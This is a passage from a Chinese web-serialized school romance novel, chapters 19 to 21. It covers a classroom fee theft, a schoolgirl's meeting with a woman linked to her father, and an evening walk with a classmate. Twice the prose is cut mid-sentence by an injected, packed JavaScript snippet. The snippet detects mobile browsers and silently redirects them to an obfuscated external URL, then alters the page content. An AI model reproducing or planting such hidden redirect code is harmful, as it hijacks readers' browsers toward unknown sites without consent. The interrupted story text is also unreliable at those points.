“你妈妈真好,这豆浆闻着真香啊。”她说。 辛蕴客气地说:“明天我给你带一杯。” “真的吗?”黄丽君双眼放光,有些不敢相信:“不会很麻烦你吗?” 辛蕴浅浅一笑,嘴角露出的那个小梨涡显得温柔又乖巧,说:“我妈妈自己用豆浆机打的,每天都有一大锅,反正我们也喝不完,给你带一杯不麻烦的。” 从那天以后,辛蕴那个大大的黑色书包的侧袋里又多了一杯用保温杯装着的热豆浆。 豆浆确实不值钱,但是多出来的那一份重量却让辛蕴每天早上的上学路变得更加难熬。每次到教室的座位上放下书包,她的肩膀上都会勒出两道又红又肿的印记。 黄丽君是个住校生,性格爽快泼辣,平时跟班里的那些女学生玩得很好,或许是因为拿人手软,吃人嘴短,在那之后每次班里一有人说辛蕴的坏话,她总是会站出来大声维护辛蕴。 虽然这并没有太改变辛蕴的处境,但好在她在三班终于不再是孤立无援的状态了。 黄丽君的话没错,从上午的大课间开始,三班外面的走廊里开始陆陆续续围了一些女同学。 虽然她们极力装出一副闲聊或者只是路过的样子,但辛蕴还是能感受到那些若有似无的打量目光。 即使这些目光和小声的议论不再带有恶意,但她还是有些不自在,只能僵直着脖子坐在那里刷题。 好在大课间的时间没有很长,上课的铃声敲响,走廊里的人渐渐散去。 辛蕴放松了绷紧的身体,转头看着自己身边的那个空座位。 邬蒙今天会回来吗? 他回来的时候会是什么样子的呢?是会像以往一样趴在桌子上一言不发地睡觉?还是会在众多追求者和崇拜者的簇拥中侃侃而谈,说起自己参加综艺节目的所见所闻? 他已经那么受欢迎了,这次回来是不是会变得更加受欢迎?这点是毋庸置疑的。 这么想着,辛蕴觉得自己嘴唇上的那个小疱似乎在隐隐作疼。 整整一天,她的心就像是飘在空中的落叶,一会儿上,一会儿下,没有着落。 期待是期待的,开心也是开心的,但一种未知带来的不确定感占据了辛蕴的心,像是一块石头压在了她雀跃的心上,让她没有办法只是纯粹地期待着邬蒙的回归。 就这么等了一天,到了晚上自习课,邬蒙还是没有出现在三班。 但是一件突发事件却在三班掀起了不小的波澜—— 他们班的资料费被人偷了。 19. 第 19 章 一中是个公办学校,每年的学杂费不过几百块,但每个班私底下会不定期集体订购一些额外的学习资料作为补充。 这些资料费一般会由学生先交给五个小组的小组长,再由小组长交给学习委员,最后由学习委员统一交给老师。 前两天三班的英语老师定了一批课外资料,资料费本来今天晚自习之前就应该交到英语老师手里的。但是晚自习上课前,一个小组的资料费突然不见了。 据小组长杨姗姗的说法是——今天下午她收齐了小组的资料费就放在了书包里,没想到她回家吃了一个晚饭回来,放在书包里的钱就不翼而飞了,她找遍了书包和抽屉也没找到。 这次丢失的金额总共两千多,不算是个小数目。 消息很快就传到了史振邦耳朵里。 一中是封闭管理,外面的人很少能进来,外班的学生也很难知道资料费放在哪里。 况且从下午放学到晚自习上课的这个时间段里,三班的教室里一直有同学在,要是有外人或者外班的同学进来,应该很容易就被注意到。 史振邦问了班里的同学,他们都说这段时间没有看到生面孔进入过三班。 不难推测,小偷很可能就是三班内部的人。 史振邦的脸色越来越难看,他黑着一张脸站在讲台上,凌厉的目光扫过班上的每一位同学,语气严肃地说:“盗窃是一个性质极其恶劣的行为,我知道现在这个小偷有很大可能就坐在底下听我讲话。你听着,我不管你们谁拿了这两千块钱,又是为了什么去拿这两千块钱,我现在给你一个机会,明天早上你把钱偷偷地还回来,就放在讲台的抽屉里。明天我要是看到了这钱,就当这件事没有发生过,要是看不见这个钱,我就去报警。” 听到他这么说,底下的同学面面相觑。有压抑不住好奇四处张望的,也有生怕嫌疑落到自己头上正襟危坐的。 教室里的气氛很压抑,大家难得安静了下来。第一节晚自习结束,辛蕴正要拿着空保温杯去开水房里接水。 教室外面突然有人喊她的名字:“辛蕴。” 辛蕴抬头去看。 教室门口探进来一个生面孔,又喊了一声:“辛蕴。” 教室里所有人的目光都看向了辛蕴的方向。 那人顺着众人的视线看了过来,对上辛蕴的目光,道:“辛蕴,学校门口有人找你。”说完这句,那人扭头就走了。 辛蕴有些疑惑,想了想,还是放下了手里的保温杯,走出教室门。 她下了楼,沿着教学楼旁边的那条香樟小路往校门口走去。 香樟花已经落了,但旁边的槐花正在盛放期,空气中飘着清淡的花香味。辛蕴很喜欢闻槐花的味道,清新怡人,既不过分香甜也不过分厚重。 她轻嗅着空气中的清甜花香,心里在琢磨——来找她的人会是谁呢? 既然进不来学校,只能在校门口见她,那应该是外面的人。可是辛蕴平时几乎不和外面的人来往,那这个人会是谁呢? 难道是吴咏梅有事找她? 辛蕴一边想一边走到了校门口,抬眼去看,却并没有在学校门口的广场上看到任何眼熟的身影。 她有些疑惑。 难道是恶作剧?又是徐慧敏的小跟班在捉弄她? 辛蕴环视了一圈,正要转身折返回校。 身后有人喊了她一声。 “辛蕴。” 伴随着这声音,她听到了一阵高跟鞋踩在地板砖上的声音。 很清脆,很优雅。 辛蕴回头去看。 一个约莫三十岁左右的年轻女人朝这边走了过来,她烫着一头大波浪长发,上身穿着一件白色衬衫,下面是一件黑色的包臀短裙,脚上踩着一双红底高跟鞋,典型的都市OL装扮,看起来女人味十足。 辛蕴没有在自己的记忆里搜寻到任何有关于眼前这个女人的信息,她站在原地,等着对方靠近。 “你好,是辛蕴吗?”对方走到近前,笑意吟吟地望着辛蕴。 辛蕴点点头,礼貌地说:“我是辛蕴。请问你是?” 女人的目光在辛蕴脸上停留片刻,脸上虽然保持着恰到好处的微笑,但眼神明显有些复杂的情绪,她转头看向学校对面的那条街,说:“那边有个奶茶店,要不我们去那边聊吧。” 辛蕴看着对方没有动,面对这个陌生女人的邀请,她显然有些疑惑,也有些犹豫。 女人了然一笑,解释道:“你放心,我不是坏人。”她顿了一下,抬眼盯着辛蕴的双眼,说:“我是你爸公司里的员工,你叫我莉莉就行。这次来找你,是想聊一些关于你爸……也就是辛总的事情。” 辛蕴一愣,眼睛睁大了些,语气有些急迫地问:“是我爸让你来找我的?他出什么事了吗?” 莉莉摇摇头,说:“你爸不知道我过来找你……是我自己过来的。” 辛蕴脸上的表情僵住了,她重新审视了一下对面那张妆容精致的脸。 不知道为什么,她的心脏像是被一只无形的手紧紧攥住,一种莫名的情绪让她的心跳骤然加快。 温热的风吹拂过女人微卷的长发和少女脸颊边的碎发,辛蕴一时间有些语塞,片刻后,她的睫毛颤了颤,语气平静地说:“好。” 看她点头,莉莉转身朝马路对面走去。 辛蕴跟在后面,她的目光不受控制地落在了对方脚上的那双高跟鞋上。 辛蕴对名牌不甚了解,但这种十分具有标志意味的红底鞋她还是有所耳闻的。这种红底鞋因为走动时会露出性.感的红色鞋底而得名。她曾经在新闻报道里看到过很多女明星会穿着红底鞋走红毯。 这样一双鞋,怕是要耗费一个普通上班族两三个月的工资。 一中对面的那条街上开着好几家奶茶店,平时店里总是挤满了一中的学生,但现在一中正在上晚自习,店里空荡荡的,几个店员都靠在吧台旁低头玩着手机。 两人挑了一个窗边的位置坐下。 “你想喝点什么?”莉莉拿出手机扫码,很客气地询问辛蕴。 辛蕴的目光落在木纹桌面上的那个二维码上,似乎是在出神,过了几秒钟,她摇摇头,说:“不用了,我还得回去上课。”她抬眼看着坐在对面的女人,说:“有什么事情现在就说吧。” 莉莉却迟迟没有开口,她扫了一眼屏幕上的菜单,点了一杯茉莉花茶。 等着店员上餐的这段时间,她放在桌面上的手机连续震动了好几下。 莉莉却并没有要回消息的意思,只是微笑着看着坐在对面的辛蕴。 那震动的声音越来越密集,像是锤在人心头的战鼓,一声急过一声,让人心慌。 辛蕴垂眸,眼睛盯着那个最新款的苹果手机,说:“有人找你。” 莉莉的嘴角弯起了一个淡淡的弧度,她终于拿起手机回消息。因为做了指甲,她打字的时候甲面碰到手机屏幕,发出一阵轻快清脆的声响。 辛蕴收回目光,转头去看玻璃窗外的街灯。 平时放学的时候她走出校门总能看到一中门口的这条大街上全是黑压压的人头,可是现在这条街上冷冷清清的。 从她的视角看过去,矗立在对面的那所学校就像是一个大大的牢笼。 其实不只是这个学校,辛蕴至今为止的整个人生好像就是一个巨大的牢笼。从小到大,她从一个牢笼换到另一个牢笼。 “你爸爸最近几天都没来公司。” 女人的声音把辛蕴的思绪拉了回来。 辛蕴转头看着她。 女人的发丝在顶光灯下闪闪发亮。 “嗯,他在家里陪我和妈妈。”辛蕴说。 店员端来了奶茶,莉莉用吸管戳开杯盖,喝了一口,皱起眉头,评价道:“一般般。这种小奶茶店估计只有开在学校门口才不会倒闭。” 辛蕴的目光落在对方手里的那杯奶茶上,说:“开了很久的老店了,学校里的学生对这家店有感情。” 莉莉放下手里的奶茶,扬起嘴角,说:“奶茶店最重要的还是口味,只要附近有好喝的奶茶店出现,这家店很快就会被取代。” 话音刚落,店门被推开,一个中年男人脚步匆匆地走了进来。 “囡囡!” 辛蕴抬头去看。 辛东福大步朝这边走来,脸上的表情有些掩饰不住的慌张和焦急,他看着辛蕴的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832040|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见她面色平静,忙挤出一个笑,说:“我手机关机了,公司里有急事,你莉莉阿姨找不到我,所以就来学校找你了。” 说完,他又转头去看坐在辛蕴对面的莉莉。玻璃窗的反射中,男人的一张脸因为怒火涨得有些红,一张嘴唇因为极力的克制而微微颤抖。 莉莉懒洋洋地站起身,笑眯眯地喊了一声:“辛总,你来啦。” 辛东福表情僵硬,勉强点点头,又转头看着辛蕴,有些欲言又止的样子:“囡囡,我……你先回学校上课吧,我和你莉莉阿姨要回公司处理一下事情。” 辛蕴的目光在对面的两人脸上扫过,点点头,站了起来,说:“嗯。” 她走出去几步。 身后,辛东福又喊了一声:“囡囡!”似乎是有话要说。 辛蕴转身看着他,语气平静地打断:“要上课了,我要回教室了。” 辛东福讪讪地点点头,说:“好,好,那你先去上课吧。” 辛蕴走出奶茶店。 春夏时节的夜,气温很舒适,迎面吹过来的风送来各种香甜的气息。旁边一家水果店的老板正蹲在旁边削菠萝,菠萝的香味飘进她的鼻尖。 辛蕴攥紧手心,做了一个深呼吸,转头去看。 隔着一段距离,玻璃窗内,辛东福一脸怒气地看着莉莉,嘴里似乎在说着什么。莉莉也没了刚才的优雅和小女人气质,她双眼通红地看着辛东福,像八点档狗血连续剧里的女人一样歇斯底里。 两人宛如被框进一个笼子里的两头困兽。 辛蕴收回目光,抬头看着夜空,颤动的睫毛覆下一片阴影。 无云的夜空里像是下了几滴雨。 她做了几个深呼吸,走到那个水果摊旁边,买了一个菠萝,拎着切好的菠萝片走进了旁边的一家便利店里。 嘴唇上的那个小水疱从刚才就一直隐隐作疼,忍到现在,那种痛感几乎要把她的嘴唇重新撕裂。 辛蕴买了一杯冰块,坐在靠窗的长凳上。 店里正在放着一首不知名的歌。 “风筝在电线杆上拼命往上飞 我却在睡梦中拽着线往后退 我眼神空洞不知心里思念谁 雨水在玻璃窗上追 ……” 辛蕴用长长的竹签戳起一块菠萝片塞进嘴里。 酸酸甜甜的汁水沁润了她唇舌。 她一连吃了好几片。 嘴唇上的那个小水泡愈发疼了起来,那种痛感变得尖锐,像是一根根细针扎入了她的肉里。 辛蕴忍住那种疼痛,又往嘴里塞了一块菠萝片,一边用力嚼着,一边撕开冰杯,拿出一块冰块敷在嘴唇上。 直到手心里的冰块完全融化。 她又开始往嘴里塞菠萝。 她近乎自虐地重复着这个步骤,直到自己的嘴唇痛到麻木,再也感受不到任何感觉。 “菠萝不用泡盐水吗?” 身后传来一个熟悉的声音。 辛蕴扭头去看。 邬蒙戴着鸭舌帽坐在离她不远处的一张桌子上,他面前放着一个已经吃完的泡面桶,看起来已经在这里坐了好一会儿。 也不知道是什么时候来的,她竟然一直没有注意到他。 辛蕴没想到会在这里遇到许久未见的邬蒙,她又惊讶又意外,愣在了那里。 在辛蕴有些呆滞的目光中,邬蒙站了起来。 他走到她旁边,身体斜倚在桌边,动作十分自然地捻起一块她面前的菠萝片,直接塞进嘴里,嚼了几下,咽下去,皱着眉说:“果然好酸。” 辛蕴麻木的嘴唇动了动,说:“你……” 邬蒙没给她继续说话的机会,他拧开手里的一瓶水溶C,直接往辛蕴还没完全融化的冰杯里倒。在辛蕴逐渐变得疑惑的目光中,他冲她露出一个笑,说:“菠萝太酸了,还是喝点甜的吧。” 辛蕴抬头盯着他的脸。 “放心吧。”邬蒙冲她眨眨眼,冲她示意了一下手里的那瓶水溶C。鸭舌帽的帽檐在他帅气的脸上落下一片阴影,他藏在那片阴影下的双眼熠熠生光。 “刚打开的,没喝过。” 他笑着说。 20. 第 20 章 有时候邬蒙也会觉得有些好奇——为什么他总是能碰到自己这个学霸女同桌的一些狼狈时刻。 从第一次见面时她的保温杯里滚落出一些不明物体,到上次她被一群不良少女围在中间试图做“拼死一搏”,再到这次她在便利店里用菠萝和冰块对自己的嘴唇进行反复的“虐待”。 或许正是因为这些意外的片段,辛蕴留给邬蒙的总体印象是混乱的、失序的。 虽然大部分时间辛蕴都表现得很平静。她总是平静地坐在座位上埋头学习,平静地看着周围的一切,就算被欺负了也是平静地忍受。在她身上几乎看不出来任何情绪的波动和起伏。 可是邬蒙知道,那并不是这个女孩真正的模样。真实的辛蕴或许远比她表现出来的更加鲜活。 他的目光落在对方那张又红又肿的嘴唇上。 邬蒙分明还记得不久之前的一个傍晚,两人站在教室门外的走廊里,天际处残留最后一丝暖光和教室里透出来的银白色灯光落在少女白皙的侧脸上。她的唇瓣看起来柔软又有光泽,就像是春日枝头落下来的粉樱。 可是现在那张唇变得异常的红肿,唇部上方还起了一个不小的水疱,配上她呆滞的表情,看上去有些滑稽。 “你怎么会在这里?”女孩有些手忙脚乱地抽出纸巾,擦了擦红通通的嘴。她的声音听起来有些喑哑。 此刻背景音乐正在唱—— “让我再重来一次吧 趁这世界还未崩塌 那晚天台的风拂过你的头发 ……” 这首歌他们乐队曾经表演过,前面的电吉他部分让邬蒙吃了一点小苦头。 邬蒙小小地走神了一下,目光上移,对上少女的视线,她湿漉漉的目光让他的心没来由地漏跳了一拍。 “我饿了,来这里买点东西吃。”他说。 辛蕴当然知道他来这里是买东西,不然来便利店还能干嘛。她想问的是邬蒙怎么真的从杭城回来了,又怎么会这个时间点出现在学校对面的便利店里。 算了,这也不是很重要。反正他现在人就在这里,就站在她面前。 她的目光落在手边的那个冰杯上。 杯子里被注满了淡青色的果汁,散发着一股清新的青柠味。 邬蒙靠在那里,仰头灌下一口水溶C,凸起的喉结在修长的脖颈间滚动了一个来回,然后转头看着辛蕴,开口问:“你……” “你……” 两人同时开口,又同时顿住。 视线交汇。 邬蒙挑了挑眉,用眼神询问辛蕴想说什么。 辛蕴刚要开口。 此时背景音乐正好唱到副歌部分—— “Isay IloveyouIloveyouIloveyoumorethanmyself Iknow IneedyouIneedyouIneedyoudeepinmysoul ……” 辛蕴抿了抿唇,闭上了嘴。 其实也没什么想说的,只不过刚才她后知后觉地反应过来,邬蒙的行为似乎有些越界了。 他们的关系并不算亲近,他这么突然靠过来,先是不问自取,然后又往她的冰杯里倒饮料,实在有点奇怪。 可那扰人的背景音乐还在继续唱,辛蕴的心跳得有些慌乱,完全不知道该怎么继续下面的对话。 她握在手心里的那块冰块已经融化,化作一滩湿漉漉的水渍从她的指缝里流淌出来。 邬蒙的视线低垂,看着辛蕴攥紧的那只手,沉默了片刻,问:“她们又欺负你了吗?” 少年的语气放得很轻缓,声音算得上温柔。 辛蕴抬头去看。 邬蒙说完这句话就转头望向了玻璃窗外的马路,应该是怕两人视线交汇引起她的尴尬,又似乎是怕她觉得自己这突如其来的关心有些奇怪。 街灯倒映在少年漆黑的瞳孔中,闪烁不定。 一股热流涌进辛蕴全身的血液里,她分不清那到底是一种什么样的情绪——是心动,是感激,还是委屈?总之她的心因为邬蒙的这一句话而强烈地跳动着,仿佛下一秒就要跳出胸口。 “在心里刻上你的姓名 让我的心有迹可循 哪怕是匆匆世界里的幻影 ……” 背景音乐还在继续唱。 辛蕴攥紧手心,心头莫名汹涌的情绪让她几乎有些控制不住自己。 但她最后还是十分艰难地忍住了。 辛蕴摇摇头,盯着邬蒙的侧脸,轻声说:“我没事。” 这是邬蒙预料之中的答案。 他转头看向她。 少女抿紧的嘴角和微微绷紧的肩颈线条昭示着此刻她的内心其实并不是像她所表现出来的这样平静。 邬蒙轻叹了一口气,说不清是觉得惋惜还是无奈。 “要出去走走吗?”他向她提出邀约。 辛蕴盯着他的双眼,沉默片刻,从座位上站了起来。 她伸手去拿桌上的冰杯和菠萝,却被邬蒙抢先一步。 邬蒙拿走桌上所剩无几的菠萝,顺手扔进了旁边的垃圾桶里,又将冰杯塞到辛蕴手里。 “你知不知道菠萝里有一种酶?那种酶会分解你嘴里的皮肤组织,你在吃菠萝的时候,菠萝也在吃你。”他顿了一下,转头看着辛蕴依旧红肿的双唇,说:“你的嘴唇破了,还是不要吃菠萝比较好。” 辛蕴望着他,没有选择反驳。 两人走出便利店,沿着那条种满栾树的街道往前走。 在辛蕴之前的认知里,落叶好像是只属于秋天这个季节的东西。秋风萧瑟,落叶从树上飘落下来,树干变得光秃秃的,等到来年再长出新的绿叶。 但是现在她发现春天的落叶好像也不少,不管春风如何和煦,落叶还是源源不断地从树上飘下来,铺满了整个街道。 她为自己这个后知后觉的发现感到新奇,抬头去看,发现那些看起来郁郁葱葱的绿叶里藏了不少枯败的叶子。 原来绿叶和枯叶好像真的可以共存在同一棵树上。 就像人的生命,有的部分在渐渐死去,有的部分在获得新生。 辛蕴咬住吸管,喝了一口手里的饮料,冰冰凉凉的青柠汁,酸酸甜甜,进入口腔的那一瞬间,连鼻尖吹拂而过的风好像都变得清新了些。 “你的比赛结果怎么样?”她主动开口问邬蒙。 邬蒙用脚碾碎一片落叶,说:“就那样吧。”顿了一下,似乎是觉得自己这个答案过于简洁可能会让提问的人感到尴尬,于是他又开口道:“我们就是陪衬的背景板,本来也不期望拿到什么成绩,现在第一阶段的录制已经结束了。看节目反馈吧。如果节目组后续没通知,就可以不用过去了。” 这是……已经被淘汰的意思吗? 辛蕴转头看着邬蒙,不知道应不应该开口安慰。毕竟看邬蒙的样子,好像已经完全接受了这个结果。没有愤愤不平,没有惋惜遗憾,甚至他说这些话时的语气平静到像是在说别人的事情。 “这几天有很多女生过来给你送礼物。”辛蕴换了一个话题,道:“你的课桌都堆不下了,凳子上也全都是礼物和信件。” 邬蒙低头笑了笑,说:“节目现在正在播,过段时间等节目播完就好了。” 倒是一副宠辱不惊的样子。 辛蕴也跟着扬了扬嘴角。 两人踩着那些干枯的落叶,没有目的地在街道上游荡,从一中前面的那条街走到了另一条比较明亮的街道。 这条街算是南城市新开发的一条网红街,街边的商铺大多是一些装修精致的网红店,有很多穿着新潮的年轻男女在拍照打卡。 夜幕降临,街两边的枫树上挂着炫目的灯带,看起来唯美又浪漫。 两人在一家唱片店门口停了下来。 邬蒙看着辛蕴,问:“进去逛逛?” 辛蕴当然不会拒绝,她咬住嘴里的吸管,跟着邬蒙迈进了那家唱片店。 邬蒙个子高挑,身材清瘦有型,即使戴着鸭舌帽看不清五官,也还是能看出来是个大帅哥,他一走进去就吸引了店里几个女顾客的注目。 辛蕴跟在他身后,自然也被上上下下打量了好几遭。 她用手里的冰杯挡住了自己红肿的唇,转身面向那个堆满了唱片的货架。 邬蒙挑得很认真,修长的手指在一排排唱片上轻轻点过,最后挑了一张唱片抽了出来。挑完,他转头看着辛蕴,问:“你有想买的专辑吗?” 辛蕴愣了一下,想摇头,毕竟她对音乐一窍不通,平时也没有喜欢的乐队和歌手。可转头看了一眼邬蒙的脸,心念一转,摇头的动作又顿住了。 辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832041|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蕴的目光扫过面前那些花花绿绿的唱片,抽出一张,转身看着邬蒙,说:“我就买这张吧。” 邬蒙的视线落在辛蕴手里的那张唱片上,又抬眼盯着她的双眼,笑了笑,似乎有些欲言又止的模样。 辛蕴被他的表情弄得有些心里没底,她低头看着自己手里拿着的这张唱片。 看起来很正常啊。 专辑封面设计得很新颖,名字也很高级,看起来一点也不烂大街。应该能够彰显她独特又不落俗套的音乐品味。 有什么不对的地方吗?邬蒙在笑什么? 就在辛蕴感到困惑的时候,邬蒙已经拿着唱片朝柜台那边走去。 她只能跟了上去。 唱片店的老板一眼就认出了邬蒙。 “哟,好久不见!” “前段时间去了一趟外地。” 两人简单地寒暄了两句。 “一起结吗?”店老板问。 邬蒙转头看了一眼辛蕴,在她开口前,他点点头,说:“一起结。” “不用了,我自己来……”辛蕴急忙开口阻止。 但邬蒙已经拿出手机扫了码。 辛蕴只好作罢。 结了账,两人走出唱片店。 辛蕴还是有些不好意思,追在他后面问:“多少钱?我转给你吧。” 邬蒙并不回答,只是转头看着她,脸上都是笑。 辛蕴被他看得有些慌,问:“怎么了?” 邬蒙微微俯下身,低头盯着她颤抖的眼睫,笑着说:“你以前从来不听乐队的吧?” 虽然是问句,但他的语气却很肯定。 辛蕴后退一步,有些心虚,还有些结巴:“怎……怎么了?” 邬蒙站直身体,抬手压了压鸭舌帽的帽檐,目光在辛蕴有些发红的脸颊上扫过。 “你回去听听这张唱片就知道了。”他的声音里带着笑意。 辛蕴再次低头看了一眼自己手里的那张唱片。 “你回学校吧,我要去附近办点事。”邬蒙收了笑,低头看了一眼手机屏幕,说:“天还早,我就不送你了。” 听到这话,辛蕴连忙摆手,说:“不用你送,不用你送,我自己可以回去。” 邬蒙点点头,扫了一辆路边的自行车。 “等一下。”辛蕴突然开口喊住了他。 邬蒙回头看过来。 辛蕴攥紧手心,心跳得有些快:“周一早上你能早点来学校吗?” 邬蒙眉头微皱,似乎有些疑惑。 “周一早上有旗下仪式,我要上台领奖。”辛蕴的声音紧张到几乎在颤抖。当然,她的表情还是一如既往的平静。 绚烂的灯带垂落在少年的头顶,他看着她,顿了几秒没有动,似乎是在思考。 那几秒钟对于辛蕴来说是格外漫长的。从小到大,她这是第一次对一个不太熟悉的异性提出请求。如果被拒绝,那辛蕴真的不知道该怎么自处了。 所幸,在那几秒的停顿后,她看到邬蒙点了点头。 他看了她一眼,骑着车转身离开。 背景里是沿街两排美轮美奂的灯影。 少年渐行渐远的身影像是一帧隽永的电影画面。 - 晚上回去,辛蕴迫不及待地拿出那张专辑。 家里没有唱片机,辛蕴只能翻出了辛东福之前淘汰下来的一台可以插入CD的旧笔记本电脑。 她好不容易把电脑充上电,把唱片塞进去,突然又想起来自己明明可以直接在网易云app上去搜这张专辑。 她果断放弃了电脑,拿出手机,点开网易云,在搜索栏打下那张专辑的名字。 跳出来的第一首歌似乎应该是这张专辑的主打歌。 辛蕴按下播放键。 听了几句,前奏很好听,歌手的音色也很不错。并不是她想象中的那种死亡摇滚或者抽象朋克。 辛蕴悬着的心微微回落一些。 可继续听下去,她觉得似乎有些不对劲。 她将手机音量调高了一些,仔细去听歌词。 听清歌词的那一瞬间,辛蕴的脸变成了一个红柿子。 她猛地按下暂停键,心跳得飞快。 天呐!!! 辛蕴一把捂住了自己发烫的脸颊。 怎么会有这种歌词!!!这是能写进歌里的吗?!! 21. 第 21 章 辛蕴关掉手机,在书桌前坐立不安。一个单词背了好几遍,低头再看一眼还是跟第一次见一样陌生。 回想起刚才在唱片店门口邬蒙脸上那个打趣的笑容,辛蕴只觉得自己的脸蛋都快要烧起来了。 她深吸了一口气,努力强迫自己冷静下来。 夜已经深了,从窗户望出去,能看见夜空中高悬的一轮明月。辛蕴拉开窗户玻璃,将脸探出去,呼吸着夜晚的清冷空气。 如此重复几次,总算平静了心绪。 辛蕴背完单词,又整理了一下最近几天的错题集,抬头去看桌上的时钟,已经是夜里十二点多了。 她捶了捶有些酸软的后腰,站了起来,打算去卫生间里洗一把脸。 推开房门。 看见客厅里亮着一盏橘黄色的落地灯,吴咏梅坐在沙发上,正在低头缝补着什么。 吴咏梅年轻的时候跟着村里的老裁缝学过几年手艺,曾经还在一家裁缝铺子里帮过忙,手艺活很精细。在辛蕴的记忆里,她小时候经常能看见吴咏梅在灯下缝缝补补的场景。 辛蕴顿住脚步,注视着灯下吴咏梅专注的侧脸。 橙黄色的灯光下,吴咏梅那张瘦削黝黑的脸庞似乎变得线条柔和了些。 应该是感受到了辛蕴的目光,吴咏梅转头看了过来,看到辛蕴正看着这边,她脸上露出一个笑,问:“怎么出来了?是饿了吗?”她放下手里的东西就要站起来,“锅里有鸡汤,我去给你热。” 不管辛蕴吃不吃,吴咏梅每天都会为她准备夜宵。辛蕴食量小,大多数情况下是不吃夜宵的,偶尔吃上一两回,吴咏梅都会开心很久,仿佛得了什么了不起的荣誉勋章似的。 辛蕴本能地想摇头,但望着吴咏梅的脸,她还是点点头,说:“好。” 吴咏梅的眼睛瞬间亮了起来,她快步朝厨房的方向走去,嘴里道:“我特地找农村里的老太太买的土鸡,她说是她自己家里养的,本来是要留给她自己孙子吃的。要八十块钱一只呢,比一般的鸡贵一倍都不止。” 辛蕴跟在吴咏梅身后,靠在厨房的玻璃门旁看着她忙碌的身影。 厨房的灯光十分明亮,辛蕴的目光落在吴咏梅身上的那件睡衣上。 印象里,那件粉白色的睡衣吴咏梅已经穿了好几年了,应该是磨损多了,睡衣的胳肢窝那地方破了一个洞,随着吴咏梅的动作时不时地漏出来。 这几年他们家的条件越来越好,但吴咏梅还是保持着勤俭的好习惯,外面撑场面的衣服买了不少,但贴身的衣服总是缝了又补,舍不得扔。 吴咏梅拧开煤气灶,转头看着站在厨房门口的辛蕴,脸上都是笑,说:“这鸡我用高压锅熬了三个多小时,骨头都烂了,一点鸡精都没放,鲜得不的了。” 辛蕴扬起嘴角,说:“那待会儿我要喝一大碗。” 吴咏梅笑得更开心了,说:“没问题!想喝多少都有,要是不够明天我再炖。”身上的那件旧睡衣让她的神情看起来格外温柔。 “妈。”辛蕴喊了一声。 吴咏梅回头看她。 辛蕴的嘴唇抿了抿,想了想,开口道:“你跟爸爸现在还好吗?你们俩……会离婚吗?” 吴咏梅的笑容僵在了嘴角,表情变得有些不自然,她转头去看灶台上的那锅鸡汤,沉默了一会儿,说:“大人的事情你别管,你顾好你自己就行,你现在最要紧的就是好好学习,然后考个好大学,其余的事情都不要操心,妈妈会帮你安排得好好的。” 辛蕴低头看着脚下光洁的地板,没有再继续说下去。顿了一会儿,她沉默地转身走到外面的餐厅。 吴咏梅很快就端来了一碗热乎乎、黄澄澄的鸡汤。 辛蕴轻轻吹了吹热气,低头喝了一口。 果然味道很好。 她抬头冲吴咏梅露出一个笑,说:“真好喝。” 见到辛蕴喜欢这碗鸡汤,吴咏梅脸上的神情缓和了些,嘴角微微扬起,“嗯”了一声。 辛蕴的眼睛被面前这碗鸡汤的热气熏得暖洋洋的,她一口气喝光了鸡汤,又抬头看着吴咏梅,说:“妈,我之前两次月考都考了全班第一名,拿到了青苗奖学金,下周一就能领奖了。” 吴咏梅的眼睛亮了亮,欢喜道:“奖学金?” 辛蕴点点头,说:“嗯,足足有六千块呢。” 吴咏梅现在大大小小也算是个“贵妇”了,自然看不上这区区六千块,但是听到辛蕴这么说,她还是笑得合不拢嘴,道:“真是想不到,我女儿现在也能赚钱了呢,真厉害啊!” 辛蕴笑得眼睛弯弯,说:“妈,等我拿到了钱,我们一起去逛街,你挑东西,我买单,怎么样?” 吴咏梅白她一眼,笑着说:“口气还挺大。”嘴上不屑,她的手已经拿过辛蕴面前的那个空碗,转身到厨房盛汤去了。 - 或许是心里有事,一晚上都没睡好,辛蕴第二天早上赖了一会儿床。 好在三班的早读课一向没有老师坐堂。 辛蕴踩着铃声背着重重的书包气喘吁吁地赶到教室的时候,黄丽君早就坐在旁边的空位上等着她了。 她睁着一双亮晶晶的眼睛望着辛蕴,一脸的急切和渴望。 辛蕴一眼就看出此刻对方眼里的兴奋应该不全是为了她书包里的那杯豆浆。 “给你,今天是百合山药味的。”辛蕴坐了下来,从书包里拿出那杯豆浆递给黄丽君。 黄丽君接过豆浆却没有喝,而是凑过来一脸神秘兮兮地跟她说:“被偷的资料费还回来了。” 果然是因为有新八卦。 辛蕴愣了一下,反应过来,转头看向她:“真的吗?”要不是黄丽君说起,她几乎要忘了这件事。 黄丽君猛地点点头,说:“真的!”她冲教室的某个方向抬抬下巴,说:“李珠今天早上六点钟不到就来了,就是为了看看到底是谁偷的钱。” 辛蕴顺着她的目光望过去——李珠正表情夸张地和围在她旁边的几个女生说着什么。她扎着一个马尾辫,发际线有些高,总是佝偻着腰,含胸驼背的,看起来就像个小老太婆。 辛蕴知道李珠一向是三班晚自习“茶话会”的重要主主持人之一,凡是三班的八卦就没有她不知道的。 只不过辛蕴没想到李珠的八卦之心竟然强到了如此地步,早上六点钟到校,就是为了看看那个小偷究竟是谁。 “你猜猜是谁偷了钱?”黄丽君压低了声音,凑到辛蕴耳边问。 